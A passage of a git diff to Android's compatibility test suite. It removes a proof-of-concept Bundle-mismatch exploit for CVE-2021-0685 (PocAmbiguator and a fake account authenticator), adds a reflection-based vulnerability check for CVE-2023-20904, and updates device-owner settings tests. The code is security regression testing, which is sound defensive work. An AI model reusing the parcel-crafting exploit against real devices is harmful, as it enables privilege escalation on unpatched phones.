- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0685;
-
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.Parcel;
-import android.text.TextUtils;
-
-import java.util.Random;
-
-public class PocAmbiguator {
-    private static final int BUNDLE_MAGIC = 0x4C444E42;
-    private static final int BUNDLE_SKIP = 12;
-    private static final int VAL_NULL = -1;
-    private static final int VAL_BUNDLE = 3;
-    private static final int VAL_PARCELABLE = 4;
-    private static final int VAL_OBJECTARRAY = 17;
-    private static final int VAL_INTARRAY = 18;
-    private static final int SIZE_RANDOM_STR = 6;
-    private static final int TIMER_MILLIS = 30 * 1000;
-
-    public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
-        Random random = new Random(1234);
-        int minHash = 0;
-        for (String s : preReSerialize.keySet()) {
-            minHash = Math.min(minHash, s.hashCode());
-        }
-        for (String s : postReSerialize.keySet()) {
-            minHash = Math.min(minHash, s.hashCode());
-        }
-        String key;
-        int keyHash;
-        long allowedTime = System.currentTimeMillis() + TIMER_MILLIS;
-
-        do {
-            key = randomString(random);
-            keyHash = key.hashCode();
-        } while (keyHash >= minHash && System.currentTimeMillis() < allowedTime);
-
-        if (keyHash >= minHash) {
-            return null;
-        }
-
-        if (!padBundle(postReSerialize, preReSerialize.size(), minHash, random)) {
-            return null;
-        }
-        if (!padBundle(preReSerialize, postReSerialize.size(), minHash, random)) {
-            return null;
-        }
-
-        Parcel parcel = Parcel.obtain();
-
-        int sizePosition = parcel.dataPosition();
-        parcel.writeInt(0);
-        parcel.writeInt(BUNDLE_MAGIC);
-        int startPosition = parcel.dataPosition();
-
-        parcel.writeInt(preReSerialize.size() + 1);
-
-        parcel.writeString(key);
-        parcel.writeInt(VAL_OBJECTARRAY);
-        parcel.writeInt(3);
-
-        parcel.writeInt(VAL_PARCELABLE);
-        parcel.writeString("android.content.pm.parsing.component.ParsedIntentInfo");
-        new IntentFilter().writeToParcel(parcel, 0);
-        parcel.writeInt(0);
-        parcel.writeInt(0);
-        TextUtils.writeToParcel(null, parcel, 0);
-        parcel.writeInt(0);
-
-        parcel.writeInt(VAL_INTARRAY);
-        parcel.writeInt(6);
-        parcel.writeInt(1);
-        parcel.writeInt(-1);
-        parcel.writeInt(0);
-        parcel.writeInt(VAL_NULL);
-        parcel.writeInt(VAL_INTARRAY);
-        parcel.writeInt(4);
-
-        parcel.writeInt(VAL_BUNDLE);
-        parcel.writeBundle(postReSerialize);
-        writeBundleSkippingHeaders(parcel, preReSerialize);
-
-        int bundleDataSize = parcel.dataPosition() - startPosition;
-        parcel.setDataPosition(sizePosition);
-        parcel.writeInt(bundleDataSize);
-
-        parcel.setDataPosition(0);
-        Bundle bundle = parcel.readBundle();
-        parcel.recycle();
-        return bundle;
-    }
-
-    private static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
-        Parcel skipParcel = Parcel.obtain();
-        bundle.writeToParcel(skipParcel, 0);
-        parcel.appendFrom(skipParcel, BUNDLE_SKIP, skipParcel.dataPosition() - BUNDLE_SKIP);
-        skipParcel.recycle();
-    }
-
-    private static String randomString(Random random) {
-        StringBuilder b = new StringBuilder();
-        for (int i = 0; i < SIZE_RANDOM_STR; ++i) {
-            b.append((char) (' ' + random.nextInt('~' - ' ' + 1)));
-        }
-        return b.toString();
-    }
-
-    private static boolean padBundle(Bundle bundle, int size, int minHash, Random random) {
-        while (bundle.size() < size) {
-            String key;
-            long allowedTime = System.currentTimeMillis() + TIMER_MILLIS;
-            do {
-                key = randomString(random);
-            } while ((key.hashCode() < minHash || bundle.containsKey(key))
-                    && System.currentTimeMillis() < allowedTime);
-            bundle.putString(key, "PADDING");
-            if (key.hashCode() < minHash) {
-                return false;
-            }
-        }
-        return true;
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java
deleted file mode 100644
index 44d7656..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0685;
-
-import android.accounts.AbstractAccountAuthenticator;
-import android.accounts.Account;
-import android.accounts.AccountAuthenticatorResponse;
-import android.accounts.NetworkErrorException;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.IBinder;
-
-public class PocAuthService extends Service {
-
-    public static Bundle mAddAccountResponse;
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        return new Authenticator(this).getIBinder();
-    }
-
-    private static class Authenticator extends AbstractAccountAuthenticator {
-        @Override
-        public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
-                String authTokenType, String[] requiredFeatures, Bundle options)
-                throws NetworkErrorException {
-            return mAddAccountResponse;
-        }
-
-        Authenticator(Context context) {
-            super(context);
-        }
-
-        @Override
-        public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
-            return null;
-        }
-
-        @Override
-        public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
-                Bundle options) throws NetworkErrorException {
-            return null;
-        }
-
-        @Override
-        public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
-                String authTokenType, Bundle options) throws NetworkErrorException {
-            return null;
-        }
-
-        @Override
-        public String getAuthTokenLabel(String authTokenType) {
-            return null;
-        }
-
-        @Override
-        public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
-                String authTokenType, Bundle options) throws NetworkErrorException {
-            return null;
-        }
-
-        @Override
-        public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
-                String[] features) throws NetworkErrorException {
-            return null;
-        }
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp
index 0028642..85c4d6a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CVE-2021-0691",
     defaults: ["cts_support_defaults"],
@@ -23,4 +27,3 @@
     ],
     sdk_version: "current",
 }
-
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/Android.bp
index 6832e6d..017710a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CVE-2021-0693",
     defaults: [
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/Android.bp
index d09ece9..7a51ab7 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/Android.bp
@@ -14,6 +14,10 @@
  * limitations under the License.
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CVE-2021-0706",
     defaults: [
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
index 2936db9..0f2dcb3 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
@@ -16,7 +16,6 @@
     name: "CVE-2021-0921",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    platform_apis: true,
     test_suites: [
         "cts",
         "vts10",
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
index ce841a4..0778b78 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
@@ -16,7 +16,6 @@
     name: "CVE-2021-0928",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    platform_apis: true,
     test_suites: [
         "cts",
         "vts10",
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/Android.bp
similarity index 74%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp
rename to hostsidetests/securitybulletin/test-apps/CVE_2023_20904/Android.bp
index 94c8275..18e0331 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -12,22 +12,26 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
-    name: "CVE-2021-0685",
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
+    name: "CVE_2023_20904",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
     test_suites: [
-        "cts",
-        "vts10",
         "sts",
     ],
     static_libs: [
-        "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
         "androidx.test.core",
+        "androidx.test.rules",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/AndroidManifest.xml
similarity index 63%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
rename to hostsidetests/securitybulletin/test-apps/CVE_2023_20904/AndroidManifest.xml
index d9e0ab2..b3575f5 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/AndroidManifest.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  Copyright 2021 The Android Open Source Project
+  Copyright 2022 The Android Open Source Project
 
   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
@@ -14,7 +14,10 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
-<account-authenticator
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accountType="android.security.cts.cve_2021_0685.account"
-    android:label="CVE-2021-0685" />
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_20904">
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2023_20904"/>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/res/values/strings.xml
new file mode 100644
index 0000000..1165e90
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/res/values/strings.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");!
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="defaultSettingsPkg">com.android.settings</string>
+    <string name="failMessage">Device is vulnerable to b/246300272!</string>
+    <string name="getTrampolineIntent">getTrampolineIntent</string>
+    <string name="selectorIntent">selectorIntent</string>
+    <string name="settingsActivity">.SettingsActivity</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/src/android/security/cts/CVE_2023_20904/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/src/android/security/cts/CVE_2023_20904/DeviceTest.java
new file mode 100644
index 0000000..1f0bc3c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_20904/src/android/security/cts/CVE_2023_20904/DeviceTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20904;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Method;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    Context mContext;
+
+    private String getSettingsPkgName() {
+        Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+        ComponentName settingsComponent =
+                settingsIntent.resolveActivity(mContext.getPackageManager());
+        String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
+                : mContext.getString(R.string.defaultSettingsPkg);
+        return pkgName;
+    }
+
+    @Test
+    public void testgetTrampolineIntent() {
+        try {
+            mContext = getApplicationContext();
+            String settingsPkg = getSettingsPkgName();
+            Context settingsContext = mContext.createPackageContext(settingsPkg,
+                    Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
+
+            // Invoking getTrampolineIntent method using reflection
+            ClassLoader settingsClassLoader = settingsContext.getClassLoader();
+            Class<?> SettingsActivityClass = settingsClassLoader
+                    .loadClass(settingsPkg + mContext.getString(R.string.settingsActivity));
+            Method getTrampolineIntentMethod = SettingsActivityClass.getDeclaredMethod(
+                    mContext.getString(R.string.getTrampolineIntent), Intent.class, String.class);
+            getTrampolineIntentMethod.setAccessible(true);
+            Intent intent = new Intent();
+            intent.setSelector(new Intent(mContext.getString(R.string.selectorIntent)));
+            Intent trampolineIntent = (Intent) getTrampolineIntentMethod.invoke(null, intent, "");
+            Bundle bundle = trampolineIntent.getExtras();
+            assertFalse(mContext.getString(R.string.failMessage),
+                    bundle.get(Settings.EXTRA_SETTINGS_EMBEDDED_DEEP_LINK_INTENT_URI).toString()
+                            .contains(mContext.getString(R.string.selectorIntent)));
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+
+}
diff --git a/hostsidetests/settings/AndroidTest.xml b/hostsidetests/settings/AndroidTest.xml
index 156f4cb..199a173 100644
--- a/hostsidetests/settings/AndroidTest.xml
+++ b/hostsidetests/settings/AndroidTest.xml
@@ -23,6 +23,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <!-- Tests device owner features that are only available from the system user. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSettingsHostTestCases.jar" />
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/ClearDeviceOwnerTest.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/ClearDeviceOwnerTest.java
index 0e367ad..b7f4b7a 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/ClearDeviceOwnerTest.java
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/ClearDeviceOwnerTest.java
@@ -15,43 +15,109 @@
  */
 package com.google.android.cts.deviceowner;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
-import android.test.AndroidTestCase;
+import android.os.SystemClock;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
+
+import com.google.android.cts.deviceowner.DeviceOwnerTest.BasicAdminReceiver;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /** Utility test to clear the device owner and active admin. */
-public class ClearDeviceOwnerTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public final class ClearDeviceOwnerTest {
 
-    private DevicePolicyManager mDevicePolicyManager;
+    private static final String TAG = ClearDeviceOwnerTest.class.getSimpleName();
 
-    @Override
-    protected void tearDown() throws Exception {
-        mDevicePolicyManager =
-                (DevicePolicyManager) mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
-        if (mDevicePolicyManager != null) {
-            if (mDevicePolicyManager.isDeviceOwnerApp(DeviceOwnerTest.PACKAGE_NAME)) {
-                mDevicePolicyManager.clearDeviceOwnerApp(DeviceOwnerTest.PACKAGE_NAME);
-            }
-            waitUntilActiveAdminIsRemoved(DeviceOwnerTest.RECEIVER_COMPONENT);
-            assertFalse(mDevicePolicyManager.isDeviceOwnerApp(DeviceOwnerTest.PACKAGE_NAME));
-            // Ignoring the fact that it might still be an active admin, as removing the admin
-            // is flakey on old devices.
-            assertFalse(mDevicePolicyManager.isAdminActive(DeviceOwnerTest.RECEIVER_COMPONENT));
+    private final Context mContext = InstrumentationRegistry.getInstrumentation()
+            .getTargetContext();
+
+    @After
+    public void tearDown() throws Exception {
+        Log.d(TAG, "tearDown(): user=" + UserHandle.myUserId());
+
+        removeProfileOwnerIfNeeeded();
+
+        removeDeviceOwner();
+    }
+
+    private void removeProfileOwnerIfNeeeded() {
+        if (!UserManager.isHeadlessSystemUserMode()) return;
+
+        // On headless system user, need to remove profile owner from current user as well
+        DevicePolicyManager dpm = mContext.getSystemService(DevicePolicyManager.class);
+
+        boolean isPoBefore = dpm.isProfileOwnerApp(DeviceOwnerTest.PACKAGE_NAME);
+        if (isPoBefore) {
+            Log.d(TAG, "Clearing " + DeviceOwnerTest.PACKAGE_NAME + " as profile owner");
+            dpm.clearProfileOwner(DeviceOwnerTest.RECEIVER_COMPONENT);
         }
+        boolean isPo = dpm.isDeviceOwnerApp(DeviceOwnerTest.PACKAGE_NAME);
+        boolean isActiveAdminBefore = dpm.isAdminActive(DeviceOwnerTest.RECEIVER_COMPONENT);
+        Log.d(TAG, "is profile owner: " + isPo + ", is activeAdmin:" + isActiveAdminBefore);
 
-        super.tearDown();
+        waitUntilActiveAdminIsRemoved(dpm, DeviceOwnerTest.RECEIVER_COMPONENT);
+        assertWithMessage("%s is profile owner", DeviceOwnerTest.RECEIVER_COMPONENT).that(isPo)
+                .isFalse();
+        assertWithMessage("%s is active admin owner", DeviceOwnerTest.RECEIVER_COMPONENT)
+                .that(dpm.isAdminActive(DeviceOwnerTest.RECEIVER_COMPONENT)).isFalse();
+    }
+
+    private void removeDeviceOwner() {
+        DevicePolicyManager dpm = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
+                BasicAdminReceiver.class, /* forDeviceOWner= */ true);
+        Log.d(TAG, "removeDeviceOwner(): dpm=" + dpm);
+
+        assertWithMessage("dpm for user %s", UserHandle.myUserId()).that(dpm).isNotNull();
+        boolean isDoBefore = dpm
+                .isDeviceOwnerApp(DeviceOwnerTest.PACKAGE_NAME);
+        if (isDoBefore) {
+            Log.d(TAG, "Clearing " + DeviceOwnerTest.PACKAGE_NAME + " as device owner");
+            dpm.clearDeviceOwnerApp(DeviceOwnerTest.PACKAGE_NAME);
+        }
+        boolean isDo = dpm.isDeviceOwnerApp(DeviceOwnerTest.PACKAGE_NAME);
+        boolean isActiveAdminBefore = dpm
+                .isAdminActive(DeviceOwnerTest.RECEIVER_COMPONENT);
+        Log.d(TAG, "is device owner=" + isDo + ", is activeAdmin=" + isActiveAdminBefore);
+
+        waitUntilActiveAdminIsRemoved(dpm, DeviceOwnerTest.RECEIVER_COMPONENT);
+        assertWithMessage("%s is device owner", DeviceOwnerTest.PACKAGE_NAME).that(isDo).isFalse();
+
+        // Ignoring the fact that it might still be an active admin, as removing the admin
+        // is flakey on old devices.
+        assertWithMessage("%s is active admin owner", DeviceOwnerTest.RECEIVER_COMPONENT)
+                .that(dpm.isAdminActive(DeviceOwnerTest.RECEIVER_COMPONENT)).isFalse();
     }
 
     /**
      * This test clears the device owner and active admin on tearDown(). To be called from the host
      * side test once a test case is finished.
      */
-    public void testClearDeviceOwner() {}
+    @Test
+    public void testClearDeviceOwner() {
 
-    private void waitUntilActiveAdminIsRemoved(ComponentName cn) throws InterruptedException {
-        for (int i = 0; i < 1000 && mDevicePolicyManager.isAdminActive(cn); i++) {
-            Thread.sleep(100);
+    }
+
+    private static void waitUntilActiveAdminIsRemoved(DevicePolicyManager dpm, ComponentName cn) {
+        for (int i = 0; i < 1000 && dpm.isAdminActive(cn); i++) {
+            Log.v(TAG, "Sleeping 100ms because " + cn.flattenToShortString()
+                + " is not active admin");
+            SystemClock.sleep(100);
+            Log.v(TAG, "After waken up: " + dpm.isAdminActive(cn));
         }
     }
 }
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
index ede4b88..eeabeec 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
@@ -26,10 +26,14 @@
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.os.RemoteException;
+import android.os.UserHandle;
 import android.provider.Settings;
 import android.server.wm.WindowManagerStateHelper;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
@@ -50,10 +54,10 @@
 
     private static final String TAG = DeviceOwnerTest.class.getSimpleName();
 
-    private static final String WORK_POLICY_INFO_TEXT = "Your work policy info";
-
     public static final int TIMEOUT_MS = 2_000;
 
+    public static final double DEADZONE_PCT = 0.2;
+
     protected Context mContext;
     protected UiDevice mDevice;
 
@@ -72,6 +76,7 @@
         }
     }
 
+    static final String CAR_SETTING_FRAG_RESOURCE_ID_REGEX = ".*:id/fragment_container_wrapper";
     static final String PACKAGE_NAME = DeviceOwnerTest.class.getPackage().getName();
     static final ComponentName RECEIVER_COMPONENT =
             new ComponentName(PACKAGE_NAME, BasicAdminReceiver.class.getName());
@@ -79,6 +84,8 @@
     protected DevicePolicyManager mDevicePolicyManager;
     protected PackageManager mPackageManager;
     protected boolean mIsDeviceOwner;
+    private String mWorkPolicyInfoText;
+    private boolean mIsAutomotive;
 
     @Override
     protected void setUp() throws Exception {
@@ -87,7 +94,13 @@
         mDevice = UiDevice.getInstance(getInstrumentation());
         mPackageManager = mContext.getPackageManager();
         mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
-                BasicAdminReceiver.class);
+                BasicAdminReceiver.class, /* forDeviceOwner= */ true);
+
+        mIsAutomotive = mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+
+        mWorkPolicyInfoText = mIsAutomotive
+                ? "Privacy Settings for Device Owner CTS host side app vehicle policy"
+                : "Your work policy info";
 
         mIsDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(PACKAGE_NAME);
         Log.d(TAG, "setup(): dpm=" + mDevicePolicyManager + ", isDO: " + mIsDeviceOwner);
@@ -129,21 +142,40 @@
         // Wait for loading permission usage data.
         mDevice.waitForIdle(TIMEOUT_MS);
 
-        Log.d(TAG, "Waiting " + TIMEOUT_MS + "ms for the '" + WORK_POLICY_INFO_TEXT + "' message");
+        Log.d(TAG, "Waiting " + TIMEOUT_MS + "ms for the '" + mWorkPolicyInfoText + "' message");
 
-        return (null != mDevice.wait(Until.findObject(By.text(WORK_POLICY_INFO_TEXT)), TIMEOUT_MS));
+        boolean found = null != mDevice.wait(Until.findObject(By.text(mWorkPolicyInfoText)),
+                TIMEOUT_MS);
+
+        // For automotive UI, try to scroll the privacy list to find the item
+        if (!found && mIsAutomotive) {
+            UiScrollable scroller = new UiScrollable(new UiSelector()
+                    .resourceIdMatches(CAR_SETTING_FRAG_RESOURCE_ID_REGEX));
+            try {
+                // Swipe far away from the edges to avoid triggering navigation gestures
+                scroller.setSwipeDeadZonePercentage(DEADZONE_PCT);
+                found = scroller.scrollTextIntoView(mWorkPolicyInfoText);
+            } catch (UiObjectNotFoundException e) { }
+        }
+
+        Log.d(TAG, "Message found: " + found);
+        return found;
     }
 
     private void launchSettingsPage(Context ctx, String pageName) throws Exception {
         Intent intent = new Intent(pageName);
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
 
+        Log.d(TAG, "Launching settings page on user " + UserHandle.myUserId() + " using " + intent);
+        ctx.startActivity(intent);
+
         ComponentName componentName =
                 ctx.getPackageManager()
                         .resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY)
                         .getComponentInfo()
                         .getComponentName();
-        ctx.startActivity(intent);
+
+        Log.d(TAG, "Waiting for STATE_RESUMED on " + componentName);
 
         new WindowManagerStateHelper().waitForActivityState(componentName, STATE_RESUMED);
     }
@@ -157,12 +189,12 @@
     }
 
     private void launchPrivacySettingsAndAssertWorkPolicyInfoIsShowing() throws Exception {
-        assertWithMessage("Work policy info (%s) on settings entry", WORK_POLICY_INFO_TEXT)
+        assertWithMessage("Work policy info (%s) on settings entry", mWorkPolicyInfoText)
                 .that(launchPrivacyAndCheckWorkPolicyInfo()).isTrue();
     }
 
     private void launchPrivacySettingsAndAssertWorkPolicyInfoIsNotShowing() throws Exception {
-        assertWithMessage("Work policy info (%s) on settings entry", WORK_POLICY_INFO_TEXT)
+        assertWithMessage("Work policy info (%s) on settings entry", mWorkPolicyInfoText)
                 .that(launchPrivacyAndCheckWorkPolicyInfo()).isFalse();
     }
 
diff --git a/hostsidetests/settings/src/com/google/android/cts/settings/PrivacyDeviceOwnerTest.java b/hostsidetests/settings/src/com/google/android/cts/settings/PrivacyDeviceOwnerTest.java
index 8bac012..81a8561 100644
--- a/hostsidetests/settings/src/com/google/android/cts/settings/PrivacyDeviceOwnerTest.java
+++ b/hostsidetests/settings/src/com/google/android/cts/settings/PrivacyDeviceOwnerTest.java
@@ -95,6 +95,7 @@
         installPackage(mDeviceOwnerUserId, DEVICE_OWNER_APK);
 
         if (isHeadlessSystemUserMode()) {
+            installPackage(mTestUserId, DEVICE_OWNER_APK);
             grantDpmWrapperPermissions(mTestUserId);
         }
     }
diff --git a/hostsidetests/shortcuts/hostside/AndroidTest.xml b/hostsidetests/shortcuts/hostside/AndroidTest.xml
index 07f3abd..36a0876 100644
--- a/hostsidetests/shortcuts/hostside/AndroidTest.xml
+++ b/hostsidetests/shortcuts/hostside/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for the CTS ShortcutManager host tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <!-- Instant apps can't access ShortcutManager -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
index 3ad2541..6aac559 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
